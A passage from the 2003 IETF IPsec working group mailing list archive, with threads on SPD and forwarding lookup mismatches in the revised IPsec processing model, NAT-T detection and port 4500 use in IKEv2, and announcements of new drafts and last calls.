bypassing of any sensitive traffic, then the post IPsec processing forwarding lookup also must function properly, lest the same bad effect take place despite the correct functioning of the first lookup (and the correct config of the corresponding SPD). Frankly, this is why I worry about anything other than the trivial case with one SPD and no per-interface distinctions about what classes of traffic to protect. If the WG feels that we do not require per-interface SPDs, as Mark suggested, I am happy to make that change. But I note that Mark did call for multiple SPDs (just not tied to an interface by the first forwarding function), and I see the same opportunity for security problems due to lookup errors in that case as well. I think the fundamental problem here is the opportunity to emit traffic without appropriate protection, due to a mismatch between what an SPD says and what a forwarding function does. This is ultimately a config management problem, made worse by a desire to support fancier access controls and fancier forwarding options. Steve From owner-ipsec@lists.tislabs.com Mon Aug 4 17:08:30 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7508Tqt048483; Mon, 4 Aug 2003 17:08:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA07859 Mon, 4 Aug 2003 19:32:15 -0400 (EDT) Message-ID: <3F2EEEB2.5030109@isi.edu> Date: Mon, 04 Aug 2003 16:39:30 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030529 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Stephen Kent CC: Mark Duffy , ipsec@lists.tislabs.com Subject: Re: revised IPsec processing model References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Stephen Kent wrote: > At 14:00 -0700 8/4/03, Joe Touch wrote: >> One other question: >> >> What happens to packets when the IPsec-time forwarding lookup differs >> from the forwarding that actually happens when the packet would be >> emitted? >> >> I.e., it seems possible that if I had weak or no encryption on one >> link, that it might be possible to leak such packets out onto a link >> that I needed strong protection on. If this is not the case, a >> specific example would help. > > If I understand correctly, your concern is that there could be a > mismatch between an SPD lookup that maps a packet to a interface that is > deemed implicitly secure and thus does not warrant IPsec protection, but > a later forwarding decision that puts the packet out over a link that > does warrant protection. Is that right? Yes. > I certainly agree that this would be a "bad thing" and one must > configure the SPDs and the forwarding tables to avoid the problem. IPsec can have no control over the forwarding tables. Other than ensuring that one can -never- configure two tunnels with one being weaker, there doesn't seem to be a solution that is enforceable within IPsec using this architecture. > If we > allow the first forwarding table to select the appropriate SPD, then we > have to rely on that forwarding function to operate correctly, IF we > allow any sensitive traffic to be emitted without IPsec protection on > ANY link. I'm considering a case where the forwarding table isn't malicious; the trick is that this model (using forwarding inside IPsec) requires that there be a lock between doing a forwarding lookup and emitting the packet. A forwarding table must be able to change, e.g., that's the definition of dynamic routing. > Otherwise, the first forwarding lookup could map the traffic > to an SPD that allowed bypass such traffic for a specific interface, but > then the traffic could be emitted via a different interface, thus > defeating the intent of the policy specification. That's the problem I'm worried about. > Also, if the SPD does allow bypassing of any sensitive traffic, then the > post IPsec processing forwarding lookup also must function properly, > lest the same bad effect take place despite the correct functioning of > the first lookup (and the correct config of the corresponding SPD). Aggred - but again, it's not malicious behavior, but normal operation that might cause this. > Frankly, this is why I worry about anything other than the trivial case > with one SPD and no per-interface distinctions about what classes of > traffic to protect. If the WG feels that we do not require > per-interface SPDs, as Mark suggested, I am happy to make that change. > But I note that Mark did call for multiple SPDs (just not tied to an > interface by the first forwarding function), and I see the same > opportunity for security problems due to lookup errors in that case as > well. Agreed. Note that this is not a problem with the solution we propose, because the routing table is involved exactly once for each packet for us. > I think the fundamental problem here is the opportunity to emit traffic > without appropriate protection, due to a mismatch between what an SPD > says and what a forwarding function does. This is ultimately a config > management problem, made worse by a desire to support fancier access > controls and fancier forwarding options. Agreed - except that, as above, I don't see how to configure dynamic routing except across two _identically protected_ tunnels. That is a requirement that severely limits the utility of such a solution, IMO. Joe From owner-ipsec@lists.tislabs.com Mon Aug 4 21:20:13 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h754KDqt056499; Mon, 4 Aug 2003 21:20:13 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id XAA08814 Mon, 4 Aug 2003 23:39:48 -0400 (EDT) Message-Id: <5.2.0.9.0.20030804231150.01e39840@localhost> X-Sender: mduffy@localhost X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 04 Aug 2003 23:39:43 -0400 To: Joe Touch , Stephen Kent From: Mark Duffy Subject: Re: revised IPsec processing model Cc: ipsec@lists.tislabs.com In-Reply-To: <3F2EEEB2.5030109@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi all, I'm a bit mystified about this line of discussion. The change that Steve has proposed in the processing model is IMO a clarification (in that the packet forwarding decision that takes place in an IP device is explicitly recognized) and a generalization (in that it recognizes that an implementation *may* make more than one "forwarding" decision on a packet, an implementation *may* pass a packet through more than one SPD and IPsec treatment, and the "forwarding" function used is beyond the scope of IPsec.) There is nothing in this that *requires* any implementation to take advantage of any of that. So I would expect that if the RFC 2401 model is sufficient for a given purpose, the proposed one should be also. No? There is always the risk of misconfiguring the device (any configurable IPsec device) and thereby compromising security. I agree that as flexibility of a device goes up (e.g. from 1 SPD per box to one per interface, or to more complex behaviors) the risk of misconfiguration generally goes up. But the benefits of using the device also go up. This tradeoff between functionality and risk is for those deploying equipment to make. (Obviously, anyone would be ill-advised to manufacture or deploy devices that perform improperly as with the hypothetical race conditions described below.) Mark At 04:39 PM 8/4/2003 -0700, Joe Touch wrote: >Stephen Kent wrote: > >>At 14:00 -0700 8/4/03, Joe Touch wrote: >>>One other question: >>> >>>What happens to packets when the IPsec-time forwarding lookup differs >>>from the forwarding that actually happens when the packet would be emitted? >>> >>>I.e., it seems possible that if I had weak or no encryption on one link, >>>that it might be possible to leak such packets out onto a link that I >>>needed strong protection on. If this is not the case, a specific example >>>would help. >>If I understand correctly, your concern is that there could be a mismatch >>between an SPD lookup that maps a packet to a interface that is deemed >>implicitly secure and thus does not warrant IPsec protection, but a later >>forwarding decision that puts the packet out over a link that does >>warrant protection. Is that right? > >Yes. > >>I certainly agree that this would be a "bad thing" and one must configure >>the SPDs and the forwarding tables to avoid the problem. > >IPsec can have no control over the forwarding tables. > >Other than ensuring that one can -never- configure two tunnels with one >being weaker, there doesn't seem to be a solution that is enforceable >within IPsec using this architecture. > >>If we allow the first forwarding table to select the appropriate SPD, >>then we have to rely on that forwarding function to operate correctly, IF >>we allow any sensitive traffic to be emitted without IPsec protection on >>ANY link. > >I'm considering a case where the forwarding table isn't malicious; the >trick is that this model (using forwarding inside IPsec) requires that >there be a lock between doing a forwarding lookup and emitting the packet. > >A forwarding table must be able to change, e.g., that's the definition of >dynamic routing. > >>Otherwise, the first forwarding lookup could map the traffic to an SPD >>that allowed bypass such traffic for a specific interface, but then the >>traffic could be emitted via a different interface, thus defeating the >>intent of the policy specification. > >That's the problem I'm worried about. > >>Also, if the SPD does allow bypassing of any sensitive traffic, then the >>post IPsec processing forwarding lookup also must function properly, lest >>the same bad effect take place despite the correct functioning of the >>first lookup (and the correct config of the corresponding SPD). > >Aggred - but again, it's not malicious behavior, but normal operation that >might cause this. > >>Frankly, this is why I worry about anything other than the trivial case >>with one SPD and no per-interface distinctions about what classes of >>traffic to protect. If the WG feels that we do not require per-interface >>SPDs, as Mark suggested, I am happy to make that change. But I note that >>Mark did call for multiple SPDs (just not tied to an interface by the >>first forwarding function), and I see the same opportunity for security >>problems due to lookup errors in that case as well. > >Agreed. Note that this is not a problem with the solution we propose, >because the routing table is involved exactly once for each packet for us. > >>I think the fundamental problem here is the opportunity to emit traffic >>without appropriate protection, due to a mismatch between what an SPD >>says and what a forwarding function does. This is ultimately a config >>management problem, made worse by a desire to support fancier access >>controls and fancier forwarding options. > >Agreed - except that, as above, I don't see how to configure dynamic >routing except across two _identically protected_ tunnels. That is a >requirement that severely limits the utility of such a solution, IMO. > >Joe From owner-ipsec@lists.tislabs.com Tue Aug 5 07:30:22 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75EULqt013240; Tue, 5 Aug 2003 07:30:21 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA10786 Tue, 5 Aug 2003 09:45:39 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3F2EEEB2.5030109@isi.edu> References: <5.2.0.9.0.20030724113200.01feed80@email> <3F2EC3DC.6010803@isi.edu> <3F2EC97D.5050800@isi.edu> <3F2EEEB2.5030109@isi.edu> Date: Tue, 5 Aug 2003 09:52:14 -0400 To: Joe Touch From: Stephen Kent Subject: Re: revised IPsec processing model Cc: Mark Duffy , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 16:39 -0700 8/4/03, Joe Touch wrote: >Stephen Kent wrote: > >>At 14:00 -0700 8/4/03, Joe Touch wrote: >>>One other question: >>> >>>What happens to packets when the IPsec-time forwarding lookup >>>differs from the forwarding that actually happens when the packet >>>would be emitted? >>> >>>I.e., it seems possible that if I had weak or no encryption on one >>>link, that it might be possible to leak such packets out onto a >>>link that I needed strong protection on. If this is not the case, >>>a specific example would help. >> >>If I understand correctly, your concern is that there could be a >>mismatch between an SPD lookup that maps a packet to a interface >>that is deemed implicitly secure and thus does not warrant IPsec >>protection, but a later forwarding decision that puts the packet >>out over a link that does warrant protection. Is that right? > >Yes. > >I certainly agree that this would be a "bad thing" and one must >configure the SPDs and the forwarding tables to avoid the problem. > >IPsec can have no control over the forwarding tables. I cam see how you might come to that conclusion in some contexts, but it certainly is not true in all contexts. For example, some vendors of BITW and SG IPsec products provide a unified management interface that allows a sys admin to configure the forwarding tables and the SPDs together, to avoid the sort of problems we both agree are a concern. >Other than ensuring that one can -never- configure two tunnels with >one being weaker, there doesn't seem to be a solution that is >enforceable within IPsec using this architecture. This is definitely not true, as stated. What I think you mean to say is that IF we specify two or more entries in multiple SPDs for the same class of traffic (e.g., the same selector sets) AND they have different security properties (e.g., IPsec protection vvs. bypass) THEN an error in the lookup that selects an SPD (and virtual interface) or in the lookup that selects the ultimate outbound interface, could result in a security breach. But, to get into this situation we have to have several precursor conditions satisfied, and I expect that in many environments the configurations will not be so complex as to facilitate these sorts of problems. > >>If we allow the first forwarding table to select the appropriate >>SPD, then we have to rely on that forwarding function to operate >>correctly, IF we allow any sensitive traffic to be emitted without >>IPsec protection on ANY link. > >I'm considering a case where the forwarding table isn't malicious; >the trick is that this model (using forwarding inside IPsec) >requires that there be a lock between doing a forwarding lookup and >emitting the packet. > >A forwarding table must be able to change, e.g., that's the >definition of dynamic routing. But not all routing is dynamic. My first hop router may be fixed in many contexts, because I have only one choice to exit my LAN. In many cases where the choice of first hop router is not known in advance, e.g., in my hotel room, I may have only only interface to deal with and thus avoid the security problems in that fashion. > >>Otherwise, the first forwarding lookup could map the traffic to an >>SPD that allowed bypass such traffic for a specific interface, but >>then the traffic could be emitted via a different interface, thus >>defeating the intent of the policy specification. > >That's the problem I'm worried about. > >Also, if the SPD does allow bypassing of any sensitive traffic, then >the post IPsec processing forwarding lookup also must function >properly, lest the same bad effect take place despite the correct >functioning of the first lookup (and the correct config of the >corresponding SPD). > >Aggred - but again, it's not malicious behavior, but normal >operation that might cause this. If normal behavior in common circumstances would cause this to happen, then the configuration is inherently insecure. If that possibility can be detected by a config admin tool, then the admin can be warned. > >>Frankly, this is why I worry about anything other than the trivial >>case with one SPD and no per-interface distinctions about what >>classes of traffic to protect. If the WG feels that we do not >>require per-interface SPDs, as Mark suggested, I am happy to make >>that change. But I note that Mark did call for multiple SPDs (just >>not tied to an interface by the first forwarding function), and I >>see the same opportunity for security problems due to lookup errors >>in that case as well. > >Agreed. Note that this is not a problem with the solution we >propose, because the routing table is involved exactly once for each >packet for us. I don't see how this problem is avoidable in any context where you maintain that a table used for forwarding is outside the scope of the security boundary. Could you elaborate, without merely referring to your ID? > >>I think the fundamental problem here is the opportunity to emit >>traffic without appropriate protection, due to a mismatch between >>what an SPD says and what a forwarding function does. This is >>ultimately a config management problem, made worse by a desire to >>support fancier access controls and fancier forwarding options. > >Agreed - except that, as above, I don't see how to configure dynamic >routing except across two _identically protected_ tunnels. That is a >requirement that severely limits the utility of such a solution, IMO. First, we probably do not agree on the extent to which dynamic routing is always going to be a factor here. Second, there are means to provide security for routing data. For example, in high assurance contexts where IPsec-like protection is to be employed, it is appropriate to use S-BGP to ensure that the ability to advertise prefixes for the hosts "behind" a security device is done securely, i.e., the advertisements are authorized. Steve From owner-ipsec@lists.tislabs.com Tue Aug 5 08:17:47 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75FHkqt017397; Tue, 5 Aug 2003 08:17:46 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA11046 Tue, 5 Aug 2003 10:37:44 -0400 (EDT) Message-Id: <200308051415.KAA12839@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; CC: mobile-ip@sunroof.eng.sun.com, ipsec@lists.tislabs.com, nemo@ietf.org From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ivancic-layer3-encryptors-00.txt Date: Tue, 05 Aug 2003 10:15:36 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Use And Implementation of Layer-3 Encryption Devices Author(s) : W. Ivancic, D. Stewart Filename : draft-ivancic-layer3-encryptors-00.txt Pages : 6 Date : 2003-8-5 This document describes some issues related to performing encryption at layer-3. In particular, routing protocol problems may result if the time-to-live (TTL) field in IPv4 or the Hop Limit field in IPv6 is decremented once before encapsulation [1][2]. Also, special provisions may be necessary within the encryptor devices if broadcast messages are to transition the encryptor pairs. Maximum Transmission Unit (MTU) issues are also presented. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ivancic-layer3-encryptors-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ivancic-layer3-encryptors-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ivancic-layer3-encryptors-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2003-8-5100517.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ivancic-layer3-encryptors-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ivancic-layer3-encryptors-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2003-8-5100517.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Tue Aug 5 10:53:39 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75Hrcqt026270; Tue, 5 Aug 2003 10:53:38 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA11565 Tue, 5 Aug 2003 13:12:31 -0400 (EDT) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16175.59110.776033.269367@ryijy.hel.fi.ssh.com> Date: Tue, 5 Aug 2003 20:18:30 +0300 From: Tero Kivinen To: tomhu@cisco.com Cc: ietf ipsec Subject: NAT-T, IKEv2, Vendor ID, port floating?? In-Reply-To: <3F2838C4.CC8A3B21@cisco.com> References: <3F2838C4.CC8A3B21@cisco.com> X-Mailer: VM 7.07 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 12 min X-Total-Time: 15 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Tom Hu writes: > In IKEv1, peers should exchange vendor ID to know each other capability > of NAT-T. > In IKEv2, NAT-T implementation is optional. Should we exchange Vendor ID > (NAT-T) at Initial exchange? No. In IKEv1 we needed to have vendor ID, because we needed to know if the other end supported NAT-T discovery payloads or not. In the IKEv2 ALL implementations MUST be able to at least ignore the NAT_DETECTION_* notification payloads, i.e there is no need to know if the other end supports NAT_DETECTION_* notifications or not (see section 3.10.1 third paragraph saying that unknown status notifications MUST be ignored if not recognized). If initiator supports NAT-T, it includes NAT_DETECTION_* notifications to all requests. If responder supports NAT-T, and it received NAT_DETECTION_* notifications from the initiator it includes its own NAT_DETECTION_* notifications. There is no point for the responder to include those notifications if it didn't receive them from the initiators, is it knows that the other end does not support NAT-T (or it is disabled), because it didn't include NAT_DETECTION_* notifications. The initiator must still be able to ignore those if the responder decides to include them. Both ends should only enable NAT-T if they have both sent and received NAT_DETECTION_* notifications, and detected that there is NAT between. If the NAT-T is disabled by configuration then the end MUST NOT send NAT_DETECTION_* payloads, because if there is NAT between the other end will enable the NAT-T and there is no way to tell it otherwise. > Another question is that Initiator and Responder exchange the NAT-D to > find the NAT existence at Initial Exchange. Does it mean at the AUTH > exchange, both peers should float the port to 4500? If the NAT is detected inside the IKE_SA_INIT exchange then the initiator should change the source and destination port to 4500 (the responder MUST support listening of port 4500 if it has NAT-T supported and enabled (2.23 second last paragraph)). I.e the AUTH exchange is done over port 4500. The initiator can initiate IKE_SA_INIT on port 4500 if it knows by some other means that the other end supports and allows NAT-T (i.e either by manual configuration, or because other end supported it earlier etc). The initiator can also always start by using port 500 if it wants to. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Tue Aug 5 10:53:58 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75Hrvqt026311; Tue, 5 Aug 2003 10:53:57 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id NAA11613 Tue, 5 Aug 2003 13:19:38 -0400 (EDT) X-Authentication-Warning: ryijy.hel.fi.ssh.com: kivinen set sender to kivinen@ssh.fi using -f MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16175.59540.652638.310947@ryijy.hel.fi.ssh.com> Date: Tue, 5 Aug 2003 20:25:40 +0300 From: Tero Kivinen To: Francis Dupont Cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-Reply-To: <200307310910.h6V9Afof005498@givry.rennes.enst-bretagne.fr> References: <3F2838C4.CC8A3B21@cisco.com> <200307310910.h6V9Afof005498@givry.rennes.enst-bretagne.fr> X-Mailer: VM 7.07 under Emacs 20.7.1 Organization: SSH Communications Security Oy X-Edit-Time: 7 min X-Total-Time: 6 min Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Francis Dupont writes: > => this is in fact unclear: > - is the support of UDP port 4500 mandatory? Current text says > it is only when NAT-T is supported. As when there is no listener > at port 4500 the initiator gets an ICMP port unreachable, IMHO > we can keep the document idea that no support of port 4500 implies > no NAT-T support. I think the easier is to start by using port 500 unless you know from somewhere else that NAT-T is supported and enabled. You cannot trust ICMP port unreachable messages, i.e initiating to 4500 to host which does not listen it would cause timeout. > - is the support of NAT detection mandatory? For some other reasons > (implicit peer address protection) I stronly believe it should be > mandatory when the IKE_SA_INIT is done over port 500 and to answer > the next point it should be mandatory in all cases. It is mandatory to be able to ignore those packets. It is not mandatory to be able to reply to them. > - does the support of UDP port 4500 imply the support of NAT-T? No. > I don't think so because a responder can reject the NAT-T in > IKE_AUTH, i.e., I makes a distinction between no NAT-T support > and disabled NAT-T support: real no NAT-T support is just > inconvenience, NAT-T should be supported but can be disabled > for policy reasons for instance. Note the NAT detection works > for both the initiator and the responder even only the initiator > use it, so the next point is: To detect that NAT-T is supported AND enabled, you must have both received and sent NAT_DETECTION_* notifications. If those payloads are only going in one direction, that means that other end either does not support NAT-T or it is disabled. > - does the use of UDP port 4500 imply the use of NAT-T? As the > NAT detection (which I want to make mandatory) is reliable for > both peers, this doesn't really matter but the document should > be clarified about this point. Use of port 4500 only implies that the other end supports the different format used for that port. It does not imply support of the NAT-T (altought I see no point of supporting the format only used by NAT-T if you do not support NAT-T). It also does not imply whether the NAT-T is enabled. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ipsec@lists.tislabs.com Tue Aug 5 16:38:01 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75Nc0qt045330; Tue, 5 Aug 2003 16:38:00 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id SAA01123 Tue, 5 Aug 2003 18:59:43 -0400 (EDT) To: "Steven M. Bellovin" Cc: byfraser@cisco.com, Tero Kivinen , angelos@cs.columbia.edu, Russ Housley , ipsec@lists.tislabs.com Subject: Please move draft-ietf-ipsec-ciph-aes-ccm-04 to publication requested From: "Theodore Ts'o" Phone: (781) 391-3464 Message-Id: Date: Tue, 05 Aug 2003 19:06:25 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi Steve, draft-ietf-ipsec-ciph-aes-ccm has been updated to address the IKEv2 specificity problem which Tero raised, and a reference to [CCM] for test vectors. In addition, as 2401bis and ESPbis have been pushed to publication requested, it seems appropriate to put this on your queue for review and for IETF last call. Many thanks!! - Ted From owner-ipsec@lists.tislabs.com Tue Aug 5 16:40:53 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h75Neqqt045380; Tue, 5 Aug 2003 16:40:52 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA01183 Tue, 5 Aug 2003 19:08:30 -0400 (EDT) To: ipsec@lists.tislabs.com Subject: WG Last call for draft-ietf-ipsec-aes-xcbc-prf-00.txt From: "Theodore Ts'o" Phone: (781) 391-3464 Message-Id: Date: Tue, 05 Aug 2003 19:15:23 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk As this document is relatively straight-forward, and there has been no discussion on it, we'd like initiate a working group last call on this document. This working group last call will terminate on August 12, 2003. - Ted and Barbara From owner-ipsec@lists.tislabs.com Wed Aug 6 00:03:42 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7673fqt078127; Wed, 6 Aug 2003 00:03:41 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id CAA02696 Wed, 6 Aug 2003 02:26:45 -0400 (EDT) Message-ID: <3F30A148.5040400@isi.edu> Date: Tue, 05 Aug 2003 23:33:44 -0700 From: Joe Touch User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4b) Gecko/20030507 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: mobile-ip@sunroof.eng.sun.com, ipsec@lists.tislabs.com, nemo@ietf.org Subject: Re: I-D ACTION:draft-ivancic-layer3-encryptors-00.txt References: <200308051415.KAA12839@ietf.org> In-Reply-To: <200308051415.KAA12839@ietf.org> X-Enigmail-Version: 0.74.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Internet-Drafts@ietf.org wrote: > A New Internet-Draft is available from the on-line Internet-Drafts directories. > > > Title : Use And Implementation of Layer-3 Encryption Devices > Author(s) : W. Ivancic, D. Stewart > Filename : draft-ivancic-layer3-encryptors-00.txt > Pages : 6 > Date : 2003-8-5 > > This document describes some issues related to performing > encryption at layer-3. In particular, routing protocol problems > may result if the time-to-live (TTL) field in IPv4 or the Hop Limit > field in IPv6 is decremented once before encapsulation [1][2]. > Also, special provisions may be necessary within the encryptor > devices if broadcast messages are to transition the encryptor > pairs. Maximum Transmission Unit (MTU) issues are also presented. This draft refers to RFC1853 for IP-in-IP encapsulation which was Informational. The more useful reference would be to RFC2003, which is Standards Track. RFC2003 appears to cover most of the issues in this document, where IPsec-specific issues are further covered already in RFC2401 and its pending update. Joe From owner-ipsec@lists.tislabs.com Wed Aug 6 02:01:30 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7691Tqt093978; Wed, 6 Aug 2003 02:01:29 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id EAA03154 Wed, 6 Aug 2003 04:17:01 -0400 (EDT) Message-Id: <200308060822.h768Mcof025595@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Tero Kivinen cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-reply-to: Your message of Tue, 05 Aug 2003 20:25:40 +0300. <16175.59540.652638.310947@ryijy.hel.fi.ssh.com> Date: Wed, 06 Aug 2003 10:22:38 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In your previous mail you wrote: > - is the support of NAT detection mandatory? For some other reasons > (implicit peer address protection) I stronly believe it should be > mandatory when the IKE_SA_INIT is done over port 500 and to answer > the next point it should be mandatory in all cases. It is mandatory to be able to ignore those packets. It is not mandatory to be able to reply to them. => in my idea to make NAT detection mandatory there are two parts: - the initiator must put NAT_DETECTION_* notifications in the first message. - the responder must reply to the NAT_DETECTION_* notifications. I agree this is a change from the current specs. > I don't think so because a responder can reject the NAT-T in > IKE_AUTH, i.e., I makes a distinction between no NAT-T support > and disabled NAT-T support: real no NAT-T support is just > inconvenience, NAT-T should be supported but can be disabled > for policy reasons for instance. Note the NAT detection works > for both the initiator and the responder even only the initiator > use it, so the next point is: To detect that NAT-T is supported AND enabled, you must have both received and sent NAT_DETECTION_* notifications. If those payloads are only going in one direction, that means that other end either does not support NAT-T or it is disabled. => this makes sense only if NAT detection is not mandatory... Obviously my idea to use NAT detection to indirectly protect the peer addresses has an impact here but it is the simplest way to avoid attacks on the peer addresses and one can still reject IKE_AUTH what a NAT is detected but not accepted. > - does the use of UDP port 4500 imply the use of NAT-T? As the > NAT detection (which I want to make mandatory) is reliable for > both peers, this doesn't really matter but the document should > be clarified about this point. Use of port 4500 only implies that the other end supports the different format used for that port. It does not imply support of the NAT-T (altought I see no point of supporting the format only used by NAT-T if you do not support NAT-T). It also does not imply whether the NAT-T is enabled. => fine with me (when it will be in the document or its companion tutorial). Thanks Francis.Dupont@enst-bretagne.fr From owner-ipsec@lists.tislabs.com Wed Aug 6 02:07:49 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h7697mqt095701; Wed, 6 Aug 2003 02:07:48 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id EAA03190 Wed, 6 Aug 2003 04:26:10 -0400 (EDT) Message-Id: <200308060831.h768Vlof025620@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Tero Kivinen cc: tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? In-reply-to: Your message of Tue, 05 Aug 2003 20:18:30 +0300. <16175.59110.776033.269367@ryijy.hel.fi.ssh.com> Date: Wed, 06 Aug 2003 10:31:47 +0200 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipsec@lists.tislabs.com Precedence: bulk In your previous mail you wrote: Both ends should only enable NAT-T if they have both sent and received NAT_DETECTION_* notifications, and detected that there is NAT between. If the NAT-T is disabled by configuration then the end MUST NOT send NAT_DETECTION_* payloads, because if there is NAT between the other end will enable the NAT-T and there is no way to tell it otherwise. => I don't 